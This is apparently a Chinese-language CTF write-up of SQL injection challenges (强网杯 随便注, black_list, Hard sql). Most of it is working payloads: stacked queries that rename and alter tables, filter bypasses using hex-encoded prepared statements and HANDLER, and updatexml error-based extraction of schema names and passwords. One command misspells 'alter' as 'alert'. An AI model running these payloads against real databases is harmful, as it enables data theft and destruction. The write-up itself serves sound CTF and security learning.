【强网杯】随便注
首先检查注入类型:字符注入
1' or 1=1 #
检查字段数
1' order by 2 #
1' order by 3 #
# error 1054 : Unknown column '3' in 'order clause'
# 报错,说明只有2个字段
查看数据库
1' union select 1, database() #
说明过滤了select、update等语句,试试堆叠注入:
1';show databases;#
查看数据表
1';show tables;#
找到两张表:1919810931114514、words。
查看表字段名
1';show columns from words;show columns from `1919810931114514`;#
从表结构可以知道前端?inject=1显示的是words表的数据。
获取flag
第一种方法:
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3 ,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
查看flag:
2.预处理 绕过select限制
1';Prepare abc from concat('s','elect', ' * from `1919810931114514` ');Execute abc;#
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
3.handler绕过
1';handler `1919810931114514` open as p;handler p read first#
类似题目:black_list
前两种方法被禁掉了
用第三种方法
1'; handler `FlagHere` open as a; handler a read first;#
Hard sql
报错注入
check.php?username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=2
check.php?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x7e),1))%23&password=2
check.php?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1))%23&password=2
因为updataxml限制语句为32位,而flag长度大于32位,所以用left和right函数拼接
前半部分 check.php?username=1'or(updatexml(1,concat(0x7e,(select((left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=2
后半部分 check.php?username=1'or(updatexml(1,concat(0x7e,(select((right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=2